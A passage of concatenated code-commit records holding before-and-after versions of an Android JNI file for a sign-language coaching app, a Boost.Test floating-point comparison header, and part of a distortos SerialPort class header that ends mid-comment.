namespace testing\n} \/\/ namespace ONNX_NAMESPACE\n<|endoftext|>"} {"text":"<commit_before>#include <jni.h>\n#include <sstream>\n#include <string>\n#include <stdio.h>\n\n#include <android\/log.h>\n\n#include \"utils.cpp\"\n#include \"amanda.cpp\"\n\n\nextern \"C\" {\n\n\/\/ Process a frame\nJNIEXPORT jboolean JNICALL\nJava_com_danycabrera_signcoach_LearnActivity_processFrame(JNIEnv *env, jobject instance,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tjlong iAddr1, jlong iAddr2, jchar c) {\n\n\t\/\/ Prepare source and destination image pointers\n\tMat *src = (Mat *) iAddr1;\n\tMat *dst = (Mat *) iAddr2;\n\tflip(*src, *src, 1);\n\t\/\/__android_log_print(ANDROID_LOG_ERROR, \"MyLogs\", \"GlobalN address: %p\", &globalN);\n\n\t\/\/cropImage(*src, *dst);\n\n\treturn checkIfCorrect(*src, c);\n}\n\n\/\/ Assigns values to configuration globals\nJNIEXPORT void JNICALL\nJava_com_danycabrera_signcoach_MainActivity_initGlobals(JNIEnv *env, jobject instance,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t jstring externalStoragePath) {\n\n\tsign_cascade_folder = jstring2string(env, externalStoragePath) + \"\/signcoach\/data\/\";\n\t__android_log_print(ANDROID_LOG_ERROR, \"initGlobals\", \"sign_cascade_folder: %s\", sign_cascade_folder.c_str());\n\n\tFILE* file = fopen(\"\/sdcard\/textTest.txt\",\"w+\");\n\tif (file == NULL) {\n\t\t__android_log_print(ANDROID_LOG_ERROR, \"initGlobals\", \"Error fopen: %d (%s)\", errno, strerror(errno));\n\t} else {\n\t\t__android_log_print(ANDROID_LOG_ERROR, \"initGlobals\", \"File open!\");\n\t}\n\tfputs(\"hello, world\\n\", file);\n\tfclose(file);\n}\n\n}<commit_msg>added things that dany said to add<commit_after>#include <jni.h>\n#include <sstream>\n#include <string>\n#include <stdio.h>\n\n#include <android\/log.h>\n\n#include \"utils.cpp\"\n#include \"amanda.cpp\"\n\n\nextern \"C\" {\n\n\/\/ Process a frame\nJNIEXPORT jboolean JNICALL\nJava_com_danycabrera_signcoach_LearnActivity_processFrame(JNIEnv *env, jobject instance,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tjlong iAddr1, jlong iAddr2, jchar c) {\n\n\t\/\/ Prepare source and destination image pointers\n\tMat *src = (Mat *) iAddr1;\n\tMat *dst = (Mat *) iAddr2;\n\t\/\/\n\t\/\/ flip(*src, *src, 1);\n\t\/\/__android_log_print(ANDROID_LOG_ERROR, \"MyLogs\", \"GlobalN address: %p\", &globalN);\n\tfixRotation(*src, *dst, 1);\n\t\/\/cropImage(*src, *dst);\n\n\treturn checkIfCorrect(*src, c);\n}\n\n\/\/ Assigns values to configuration globals\nJNIEXPORT void JNICALL\nJava_com_danycabrera_signcoach_MainActivity_initGlobals(JNIEnv *env, jobject instance,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t jstring externalStoragePath) {\n\n\tsign_cascade_folder = jstring2string(env, externalStoragePath) + \"\/signcoach\/data\/\";\n\t__android_log_print(ANDROID_LOG_ERROR, \"initGlobals\", \"sign_cascade_folder: %s\", sign_cascade_folder.c_str());\n\n\tFILE* file = fopen(\"\/sdcard\/textTest.txt\",\"w+\");\n\tif (file == NULL) {\n\t\t__android_log_print(ANDROID_LOG_ERROR, \"initGlobals\", \"Error fopen: %d (%s)\", errno, strerror(errno));\n\t} else {\n\t\t__android_log_print(ANDROID_LOG_ERROR, \"initGlobals\", \"File open!\");\n\t}\n\tfputs(\"hello, world\\n\", file);\n\tfclose(file);\n}\n\n}<|endoftext|>"} {"text":"<commit_before>\/\/ (C) Copyright Gennadiy Rozental 2001-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at \n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n\/\/ See http:\/\/www.boost.org\/libs\/test for the library home page.\n\/\/\n\/\/!@file \n\/\/!@brief algorithms for comparing floating point values\n\/\/ ***************************************************************************\n\n#ifndef BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER\n#define BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER\n\n\/\/ Boost.Test\n#include <boost\/test\/detail\/global_typedef.hpp>\n#include <boost\/test\/tools\/assertion_result.hpp>\n\n\/\/ Boost\n#include <boost\/limits.hpp> \/\/ for std::numeric_limits\n#include <boost\/static_assert.hpp>\n#include <boost\/assert.hpp>\n#include <boost\/type_traits\/is_floating_point.hpp>\n#include <boost\/type_traits\/is_array.hpp>\n#include <boost\/utility\/enable_if.hpp>\n\n\/\/ STL\n#include <iosfwd>\n\n#include <boost\/test\/detail\/suppress_warnings.hpp>\n\n\/\/____________________________________________________________________________\/\/\n\nnamespace boost {\nnamespace math {\nnamespace fpc {\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** fpc::tolerance_based ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\n\/\/! @internal\n\/\/! Protects the instanciation of std::numeric_limits from non-supported types (eg. T=array)\ntemplate <typename T, bool enabled>\nstruct tolerance_based_delegate;\n\ntemplate <typename T>\nstruct tolerance_based_delegate<T, false> : mpl::false_ {};\n\ntemplate <typename T>\nstruct tolerance_based_delegate<T, true>\n: mpl::bool_<\n is_floating_point<T>::value ||\n (!std::numeric_limits<T>::is_integer && std::numeric_limits<T>::is_specialized && !std::numeric_limits<T>::is_exact)>\n{};\n\n\n\/*!@brief Indicates if a type can be compared using a tolerance scheme\n *\n * This is a metafunction that should evaluate to mpl::true_ if the type\n * T can be compared using a tolerance based method, typically for floating point\n * types.\n *\n * This metafunction can be specialized further to declare user types that are\n * floating point (eg. boost.multiprecision).\n *\/\ntemplate <typename T>\nstruct tolerance_based : tolerance_based_delegate<T, !is_array<T>::value >::type {};\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** fpc::strength ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\/\/! Method for comparison of floating point numbers\nenum strength {\n FPC_STRONG, \/\/!< \"Very close\" - equation 2' in docs, the default\n FPC_WEAK \/\/!< \"Close enough\" - equation 3' in docs.\n};\n\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** tolerance presentation types ************** \/\/\n\/\/ ************************************************************************** \/\/\n\ntemplate<typename FPT>\nstruct percent_tolerance_t {\n explicit percent_tolerance_t( FPT v ) : m_value( v ) {}\n\n FPT m_value;\n};\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT>\ninline std::ostream& operator<<( std::ostream& out, percent_tolerance_t<FPT> t )\n{\n return out << t.m_value;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT>\ninline percent_tolerance_t<FPT>\npercent_tolerance( FPT v )\n{\n return percent_tolerance_t<FPT>( v );\n}\n\n\/\/____________________________________________________________________________\/\/\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** details ************** \/\/\n\/\/ ************************************************************************** \/\/\n\nnamespace fpc_detail {\n\n\/\/ FPT is Floating-Point Type: float, double, long double or User-Defined.\ntemplate<typename FPT>\ninline FPT\nfpt_abs( FPT fpv ) \n{\n return fpv < static_cast<FPT>(0) ? -fpv : fpv;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT>\nstruct fpt_limits {\n static FPT min_value()\n {\n return std::numeric_limits<FPT>::is_specialized\n ? (std::numeric_limits<FPT>::min)()\n : static_cast<FPT>(0);\n }\n static FPT max_value()\n {\n return std::numeric_limits<FPT>::is_specialized\n ? (std::numeric_limits<FPT>::max)()\n : static_cast<FPT>(1000000); \/\/ for our purposes it doesn't really matter what value is returned here\n }\n};\n\n\/\/____________________________________________________________________________\/\/\n\n\/\/ both f1 and f2 are unsigned here\ntemplate<typename FPT>\ninline FPT\nsafe_fpt_division( FPT f1, FPT f2 )\n{\n \/\/ Avoid overflow.\n if( (f2 < static_cast<FPT>(1)) && (f1 > f2*fpt_limits<FPT>::max_value()) )\n return fpt_limits<FPT>::max_value();\n\n \/\/ Avoid underflow.\n if( (f1 == static_cast<FPT>(0)) ||\n ((f2 > static_cast<FPT>(1)) && (f1 < f2*fpt_limits<FPT>::min_value())) )\n return static_cast<FPT>(0);\n\n return f1\/f2;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT, typename ToleranceType>\ninline FPT\nfraction_tolerance( ToleranceType tolerance )\n{\n return static_cast<FPT>(tolerance);\n} \n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT2, typename FPT>\ninline FPT2\nfraction_tolerance( percent_tolerance_t<FPT> tolerance )\n{\n return static_cast<FPT2>(tolerance.m_value)*static_cast<FPT2>(0.01); \n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace fpc_detail\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** close_at_tolerance ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\n\/*!@brief Predicate for comparing floating point numbers\n *\n * This predicate is used to compare floating point numbers. In addition the comparison produces maximum \n * related differnce, which can be used to generate detailed error message\n *\n * The methods for comparing floating points are detailed in the documentation. The method is chosen\n * by the @ref boost::math::fpc::strength given at construction.\n *\/\ntemplate<typename FPT>\nclass close_at_tolerance {\npublic:\n \/\/ Public typedefs\n typedef bool result_type;\n\n \/\/ Constructor\n template<typename ToleranceType>\n explicit close_at_tolerance( ToleranceType tolerance, fpc::strength fpc_strength = FPC_STRONG ) \n : m_fraction_tolerance( fpc_detail::fraction_tolerance<FPT>( tolerance ) )\n , m_strength( fpc_strength )\n , m_tested_rel_diff()\n {\n BOOST_ASSERT_MSG( m_fraction_tolerance >= 0, \"tolerance must not be negative!\" ); \/\/ no reason for tolerance to be negative\n }\n\n \/\/ Access methods\n \/\/! Returns the tolerance\n FPT fraction_tolerance() const { return m_fraction_tolerance; }\n \n \/\/! Returns the comparison method\n fpc::strength strength() const { return m_strength; }\n \n \/\/! Returns the failing fraction\n FPT tested_rel_diff() const { return m_tested_rel_diff; }\n\n \/*! Compares two floating point numbers a and b such that their \"left\" relative difference |a-b|\/a and\/or\n * \"right\" relative difference |a-b|\/b does not exceed specified relative (fraction) tolerance.\n *\n * @param[in] left first floating point number to be compared\n * @param[in] right second floating point number to be compared\n *\n * What is reported by @c tested_rel_diff in case of failure depends on the comparison method:\n * - for @c FPC_STRONG: the max of the two fractions\n * - for @c FPC_WEAK: the min of the two fractions\n * The rationale behind is to report the tolerance to set in order to make a test pass.\n *\/\n bool operator()( FPT left, FPT right ) const\n {\n FPT diff = fpc_detail::fpt_abs<FPT>( left - right );\n FPT fraction_of_right = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( right ) );\n FPT fraction_of_left = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( left ) );\n\n FPT max_rel_diff = (std::max)( fraction_of_left, fraction_of_right );\n FPT min_rel_diff = (std::min)( fraction_of_left, fraction_of_right );\n\n m_tested_rel_diff = m_strength == FPC_STRONG ? max_rel_diff : min_rel_diff;\n\n return m_tested_rel_diff <= m_fraction_tolerance;\n }\n\nprivate:\n \/\/ Data members\n FPT m_fraction_tolerance;\n fpc::strength m_strength;\n mutable FPT m_tested_rel_diff;\n};\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** small_with_tolerance ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\n\/*!@brief Predicate for comparing floating point numbers against 0\n *\n * Serves the same purpose as boost::math::fpc::close_at_tolerance, but used when one\n * of the operand is null. \n *\/\ntemplate<typename FPT>\nclass small_with_tolerance {\npublic:\n \/\/ Public typedefs\n typedef bool result_type;\n\n \/\/ Constructor\n explicit small_with_tolerance( FPT tolerance ) \/\/ <= absolute tolerance\n : m_tolerance( tolerance )\n {\n BOOST_ASSERT( m_tolerance >= 0 ); \/\/ no reason for the tolerance to be negative\n }\n\n \/\/ Action method\n bool operator()( FPT fpv ) const\n {\n return fpc::fpc_detail::fpt_abs( fpv ) < m_tolerance;\n }\n\nprivate:\n \/\/ Data members\n FPT m_tolerance;\n};\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** is_small ************** \/\/\n\/\/ ************************************************************************** \/\/\n\ntemplate<typename FPT>\ninline bool\nis_small( FPT fpv, FPT tolerance )\n{\n return small_with_tolerance<FPT>( tolerance )( fpv );\n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace fpc\n} \/\/ namespace math\n} \/\/ namespace boost\n\n#include <boost\/test\/detail\/enable_warnings.hpp>\n\n#endif \/\/ BOOST_FLOATING_POINT_COMAPARISON_HPP_071894GER\n<commit_msg>some better doxygen doxygen sucks<commit_after>\/\/ (C) Copyright Gennadiy Rozental 2001-2014.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at \n\/\/ http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\n\/\/ See http:\/\/www.boost.org\/libs\/test for the library home page.\n\/\/\n\/\/!@file \n\/\/!@brief algorithms for comparing floating point values\n\/\/ ***************************************************************************\n\n#ifndef BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER\n#define BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER\n\n\/\/ Boost.Test\n#include <boost\/test\/detail\/global_typedef.hpp>\n#include <boost\/test\/tools\/assertion_result.hpp>\n\n\/\/ Boost\n#include <boost\/limits.hpp> \/\/ for std::numeric_limits\n#include <boost\/static_assert.hpp>\n#include <boost\/assert.hpp>\n#include <boost\/type_traits\/is_floating_point.hpp>\n#include <boost\/type_traits\/is_array.hpp>\n#include <boost\/utility\/enable_if.hpp>\n\n\/\/ STL\n#include <iosfwd>\n\n#include <boost\/test\/detail\/suppress_warnings.hpp>\n\n\/\/____________________________________________________________________________\/\/\n\nnamespace boost {\nnamespace math {\nnamespace fpc {\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** fpc::tolerance_based ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\n\/\/! @internal\n\/\/! Protects the instanciation of std::numeric_limits from non-supported types (eg. T=array)\ntemplate <typename T, bool enabled>\nstruct tolerance_based_delegate;\n\ntemplate <typename T>\nstruct tolerance_based_delegate<T, false> : mpl::false_ {};\n\ntemplate <typename T>\nstruct tolerance_based_delegate<T, true>\n: mpl::bool_<\n is_floating_point<T>::value ||\n (!std::numeric_limits<T>::is_integer && std::numeric_limits<T>::is_specialized && !std::numeric_limits<T>::is_exact)>\n{};\n\n\n\/*!@brief Indicates if a type can be compared using a tolerance scheme\n *\n * This is a metafunction that should evaluate to mpl::true_ if the type\n * T can be compared using a tolerance based method, typically for floating point\n * types.\n *\n * This metafunction can be specialized further to declare user types that are\n * floating point (eg. boost.multiprecision).\n *\/\ntemplate <typename T>\nstruct tolerance_based : tolerance_based_delegate<T, !is_array<T>::value >::type {};\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** fpc::strength ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\/\/! Method for comparing floating point numbers\nenum strength {\n FPC_STRONG, \/\/!< \"Very close\" - equation 2' in docs, the default\n FPC_WEAK \/\/!< \"Close enough\" - equation 3' in docs.\n};\n\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** tolerance presentation types ************** \/\/\n\/\/ ************************************************************************** \/\/\n\ntemplate<typename FPT>\nstruct percent_tolerance_t {\n explicit percent_tolerance_t( FPT v ) : m_value( v ) {}\n\n FPT m_value;\n};\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT>\ninline std::ostream& operator<<( std::ostream& out, percent_tolerance_t<FPT> t )\n{\n return out << t.m_value;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT>\ninline percent_tolerance_t<FPT>\npercent_tolerance( FPT v )\n{\n return percent_tolerance_t<FPT>( v );\n}\n\n\/\/____________________________________________________________________________\/\/\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** details ************** \/\/\n\/\/ ************************************************************************** \/\/\n\nnamespace fpc_detail {\n\n\/\/ FPT is Floating-Point Type: float, double, long double or User-Defined.\ntemplate<typename FPT>\ninline FPT\nfpt_abs( FPT fpv ) \n{\n return fpv < static_cast<FPT>(0) ? -fpv : fpv;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT>\nstruct fpt_limits {\n static FPT min_value()\n {\n return std::numeric_limits<FPT>::is_specialized\n ? (std::numeric_limits<FPT>::min)()\n : static_cast<FPT>(0);\n }\n static FPT max_value()\n {\n return std::numeric_limits<FPT>::is_specialized\n ? (std::numeric_limits<FPT>::max)()\n : static_cast<FPT>(1000000); \/\/ for our purposes it doesn't really matter what value is returned here\n }\n};\n\n\/\/____________________________________________________________________________\/\/\n\n\/\/ both f1 and f2 are unsigned here\ntemplate<typename FPT>\ninline FPT\nsafe_fpt_division( FPT f1, FPT f2 )\n{\n \/\/ Avoid overflow.\n if( (f2 < static_cast<FPT>(1)) && (f1 > f2*fpt_limits<FPT>::max_value()) )\n return fpt_limits<FPT>::max_value();\n\n \/\/ Avoid underflow.\n if( (f1 == static_cast<FPT>(0)) ||\n ((f2 > static_cast<FPT>(1)) && (f1 < f2*fpt_limits<FPT>::min_value())) )\n return static_cast<FPT>(0);\n\n return f1\/f2;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT, typename ToleranceType>\ninline FPT\nfraction_tolerance( ToleranceType tolerance )\n{\n return static_cast<FPT>(tolerance);\n} \n\n\/\/____________________________________________________________________________\/\/\n\ntemplate<typename FPT2, typename FPT>\ninline FPT2\nfraction_tolerance( percent_tolerance_t<FPT> tolerance )\n{\n return static_cast<FPT2>(tolerance.m_value)*static_cast<FPT2>(0.01); \n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace fpc_detail\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** close_at_tolerance ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\n\/*!@brief Predicate for comparing floating point numbers\n *\n * This predicate is used to compare floating point numbers. In addition the comparison produces maximum \n * related differnce, which can be used to generate detailed error message\n * The methods for comparing floating points are detailed in the documentation. The method is chosen\n * by the @ref boost::math::fpc::strength given at construction.\n *\/\ntemplate<typename FPT>\nclass close_at_tolerance {\npublic:\n \/\/ Public typedefs\n typedef bool result_type;\n\n \/\/ Constructor\n template<typename ToleranceType>\n explicit close_at_tolerance( ToleranceType tolerance, fpc::strength fpc_strength = FPC_STRONG ) \n : m_fraction_tolerance( fpc_detail::fraction_tolerance<FPT>( tolerance ) )\n , m_strength( fpc_strength )\n , m_tested_rel_diff()\n {\n BOOST_ASSERT_MSG( m_fraction_tolerance >= 0, \"tolerance must not be negative!\" ); \/\/ no reason for tolerance to be negative\n }\n\n \/\/ Access methods\n \/\/! Returns the tolerance\n FPT fraction_tolerance() const { return m_fraction_tolerance; }\n \n \/\/! Returns the comparison method\n fpc::strength strength() const { return m_strength; }\n \n \/\/! Returns the failing fraction\n FPT tested_rel_diff() const { return m_tested_rel_diff; }\n\n \/*! Compares two floating point numbers a and b such that their \"left\" relative difference |a-b|\/a and\/or\n * \"right\" relative difference |a-b|\/b does not exceed specified relative (fraction) tolerance.\n *\n * @param[in] left first floating point number to be compared\n * @param[in] right second floating point number to be compared\n *\n * What is reported by @c tested_rel_diff in case of failure depends on the comparison method:\n * - for @c FPC_STRONG: the max of the two fractions\n * - for @c FPC_WEAK: the min of the two fractions\n * The rationale behind is to report the tolerance to set in order to make a test pass.\n *\/\n bool operator()( FPT left, FPT right ) const\n {\n FPT diff = fpc_detail::fpt_abs<FPT>( left - right );\n FPT fraction_of_right = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( right ) );\n FPT fraction_of_left = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( left ) );\n\n FPT max_rel_diff = (std::max)( fraction_of_left, fraction_of_right );\n FPT min_rel_diff = (std::min)( fraction_of_left, fraction_of_right );\n\n m_tested_rel_diff = m_strength == FPC_STRONG ? max_rel_diff : min_rel_diff;\n\n return m_tested_rel_diff <= m_fraction_tolerance;\n }\n\nprivate:\n \/\/ Data members\n FPT m_fraction_tolerance;\n fpc::strength m_strength;\n mutable FPT m_tested_rel_diff;\n};\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** small_with_tolerance ************** \/\/\n\/\/ ************************************************************************** \/\/\n\n\n\/*!@brief Predicate for comparing floating point numbers against 0\n *\n * Serves the same purpose as boost::math::fpc::close_at_tolerance, but used when one\n * of the operand is null. \n *\/\ntemplate<typename FPT>\nclass small_with_tolerance {\npublic:\n \/\/ Public typedefs\n typedef bool result_type;\n\n \/\/ Constructor\n explicit small_with_tolerance( FPT tolerance ) \/\/ <= absolute tolerance\n : m_tolerance( tolerance )\n {\n BOOST_ASSERT( m_tolerance >= 0 ); \/\/ no reason for the tolerance to be negative\n }\n\n \/\/ Action method\n bool operator()( FPT fpv ) const\n {\n return fpc::fpc_detail::fpt_abs( fpv ) < m_tolerance;\n }\n\nprivate:\n \/\/ Data members\n FPT m_tolerance;\n};\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** is_small ************** \/\/\n\/\/ ************************************************************************** \/\/\n\ntemplate<typename FPT>\ninline bool\nis_small( FPT fpv, FPT tolerance )\n{\n return small_with_tolerance<FPT>( tolerance )( fpv );\n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace fpc\n} \/\/ namespace math\n} \/\/ namespace boost\n\n#include <boost\/test\/detail\/enable_warnings.hpp>\n\n#endif \/\/ BOOST_FLOATING_POINT_COMAPARISON_HPP_071894GER\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file\n * \\brief SerialPort class header\n *\n * \\author Copyright (C) 2016 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_\n#define INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_\n\n#include \"distortos\/devices\/communication\/UartParity.hpp\"\n\n#include \"distortos\/internal\/devices\/UartBase.hpp\"\n\n#include \"distortos\/Mutex.hpp\"\n\nnamespace distortos\n{\n\nclass Semaphore;\n\nnamespace internal\n{\n\nclass UartLowLevel;\n\n}\n\nnamespace devices\n{\n\n\/**\n * SerialPort class is a serial port with an interface similar to standard files\n *\n * \\ingroup devices\n *\/\n\nclass SerialPort : private internal::UartBase\n{\npublic:\n\n\t\/\/\/ thread-safe, lock-free ring buffer for one-producer and one-consumer\n\tclass RingBuffer\n\t{\n\tpublic:\n\n\t\t\/**\n\t\t * \\brief RingBuffer's constructor\n\t\t *\n\t\t * \\param [in] buffer is a buffer for data\n\t\t * \\param [in] size is the size of \\a buffer, bytes, should be even, must be greater than or equal to 4\n\t\t *\/\n\n\t\tconstexpr RingBuffer(void* const buffer, const size_t size) :\n\t\t\t\tbuffer_{static_cast<uint8_t*>(buffer)},\n\t\t\t\tsize_{size},\n\t\t\t\treadPosition_{},\n\t\t\t\twritePosition_{}\n\t\t{\n\n\t\t}\n\n\t\t\/**\n\t\t * \\brief Clears ring buffer\n\t\t *\/\n\n\t\tvoid clear()\n\t\t{\n\t\t\treadPosition_ = 0;\n\t\t\twritePosition_ = 0;\n\t\t}\n\n\t\t\/**\n\t\t * \\return First contiguous block (as a pair with pointer and size) available for reading\n\t\t *\/\n\n\t\tstd::pair<const uint8_t*, size_t> getReadBlock() const;\n\n\t\t\/**\n\t\t * \\return total size of ring buffer, bytes\n\t\t *\/\n\n\t\tsize_t getSize() const\n\t\t{\n\t\t\treturn size_;\n\t\t}\n\n\t\t\/**\n\t\t * \\return First contiguous block (as a pair with pointer and size) available for writing\n\t\t *\/\n\n\t\tstd::pair<uint8_t*, size_t> getWriteBlock() const;\n\n\t\t\/**\n\t\t * \\brief Increases read position by given value\n\t\t *\n\t\t * \\param [in] value is the value which will be added to read position, must come from previous call to\n\t\t * getReadBlock()\n\t\t *\/\n\n\t\tvoid increaseReadPosition(const size_t value)\n\t\t{\n\t\t\treadPosition_ += value;\n\t\t\treadPosition_ %= size_;\n\t\t}\n\n\t\t\/**\n\t\t * \\brief Increases write position by given value\n\t\t *\n\t\t * \\param [in] value is the value which will be added to write position, must come from previous call to\n\t\t * getWriteBlock()\n\t\t *\/\n\n\t\tvoid increaseWritePosition(const size_t value)\n\t\t{\n\t\t\twritePosition_ += value;\n\t\t\twritePosition_ %= size_;\n\t\t}\n\n\t\t\/**\n\t\t * \\return true if ring buffer is empty, false otherwise\n\t\t *\/\n\n\t\tbool isEmpty() const\n\t\t{\n\t\t\treturn writePosition_ == readPosition_;\n\t\t}\n\n\t\t\/**\n\t\t * \\return true if ring buffer is full, false otherwise\n\t\t *\/\n\n\t\tbool isFull() const\n\t\t{\n\t\t\treturn writePosition_ == (readPosition_ + 2) % size_;\n\t\t}\n\n\tprivate:\n\n\t\t\/\/\/ pointer to beginning of buffer\n\t\tuint8_t* buffer_;\n\n\t\t\/\/\/ size of \\a buffer_, bytes\n\t\tsize_t size_;\n\n\t\t\/\/\/ current read position\n\t\tvolatile size_t readPosition_;\n\n\t\t\/\/\/ current write position\n\t\tvolatile size_t writePosition_;\n\t};\n\n\t\/**\n\t * \\brief SerialPort's constructor\n\t *\n\t * \\param [in] uart is a reference to low-level implementation of internal::UartLowLevel interface\n\t * \\param [in] readBuffer is a buffer for read operations\n\t * \\param [in] readBufferSize is the size of \\a readBuffer, bytes, should be divisible by 4, must be greater than or\n\t * equal to 4\n\t * \\param [in] writeBuffer is a buffer to write operations\n\t * \\param [in] writeBufferSize is the size of \\a writeBuffer, bytes, should be even, must be greater than or equal\n\t * to 4\n\t *\/\n\n\tconstexpr SerialPort(internal::UartLowLevel& uart, void* const readBuffer, const size_t readBufferSize,\n\t\t\tvoid* const writeBuffer, const size_t writeBufferSize) :\n\t\t\t\t\treadMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance},\n\t\t\t\t\twriteMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance},\n\t\t\t\t\treadBuffer_{readBuffer, (readBufferSize \/ 4) * 4},\n\t\t\t\t\twriteBuffer_{writeBuffer, (writeBufferSize \/ 2) * 2},\n\t\t\t\t\treadSemaphore_{},\n\t\t\t\t\ttransmitSemaphore_{},\n\t\t\t\t\twriteSemaphore_{},\n\t\t\t\t\tuart_{uart},\n\t\t\t\t\tbaudRate_{},\n\t\t\t\t\tcharacterLength_{},\n\t\t\t\t\tparity_{},\n\t\t\t\t\t_2StopBits_{},\n\t\t\t\t\topenCount_{},\n\t\t\t\t\ttransmitInProgress_{},\n\t\t\t\t\twriteInProgress_{}\n\t{\n\n\t}\n\n\t\/**\n\t * \\brief SerialPort's destructor\n\t *\n\t * Does nothing if all users already closed this device. If they did not, performs forced close of device.\n\t *\/\n\n\t~SerialPort() override;\n\n\t\/**\n\t * \\brief Closes SerialPort\n\t *\n\t * Does nothing if any user still has this device opened. Otherwise all transfers and low-level driver are stopped.\n\t * If any write transfer is still in progress, this function will wait for physical end of transmission before\n\t * shutting the device down.\n\t *\n\t * If the function is interrupted by a signal, the device is not closed - the user should try to close it again.\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EBADF - the device is already completely closed;\n\t * - EINTR - the wait was interrupted by an unmasked, caught signal;\n\t * - error codes returned by internal::UartLowLevel::stop();\n\t *\/\n\n\tint close();\n\n\t\/**\n\t * \\brief Opens SerialPort\n\t *\n\t * Does nothing if any user already has this device opened. Otherwise low-level driver and buffered reads are\n\t * started.\n\t *\n\t * \\param [in] baudRate is the desired baud rate, bps\n\t * \\param [in] characterLength selects character length, bits\n\t * \\param [in] parity selects parity\n\t * \\param [in] _2StopBits selects whether 1 (false) or 2 (true) stop bits are used\n\t *\n\t * \\return 0 on success, error code otherwise:\n\t * - EINVAL - provided arguments don't match current configuration of already opened device;\n\t * - EMFILE - this device is already opened too many times;\n\t * - ENOBUFS - read and\/or write buffers are too small;\n\t * - error codes returned by internal::UartLowLevel::start();\n\t * - error codes returned by internal::UartLowLevel::startRead();\n\t *\/\n\n\tint open(uint32_t baudRate, uint8_t characterLength, devices::UartParity parity, bool _2StopBits);\n\n\t\/**\n\t * \\brief Reads data from SerialPort\n\t *\n\t * Similar to POSIX read() - http:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/read.html#\n\t *\n\t * This function will block until at least one character can be read.\n\t *\n\t * \\param [out] buffer is the buffer to which the data will be written\n\t * \\param [in] size is the size of \\a buffer, bytes, must be even if selected character length is greater than 8\n\t * bits\n\t *\n\t * \\return pair with return code (0 on success, error code otherwise) and number of read bytes (valid even when\n\t * error code is returned);\n\t * error codes:\n\t * - EBADF - the device is not opened;\n\t * - EINTR - the wait was interrupted by an unmasked, caught signal;\n\t * - EINVAL - \\a buffer and\/or \\a size are invalid;\n\t * - error codes returned by internal::UartLowLevel::startRead();\n\t *\/\n\n\tstd::pair<int, size_t> read(void* buffer, size_t size);\n\n\t\/**\n\t * \\brief Writes data to SerialPort\n\t *\n\t * Similar to POSIX write() - http:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/write.html#\n\t *\n\t * This function will block until all character are written.\n\t *\n\t * \\param [in] buffer is the buffer with data that will be transmitted\n\t * \\param [in] size is the size of \\a buffer, bytes, must be even if selected character length is greater than 8\n\t * bits\n\t *\n\t * \\return pair with return code (0 on success, error code otherwise) and number of written bytes (valid even when\n\t * error code is 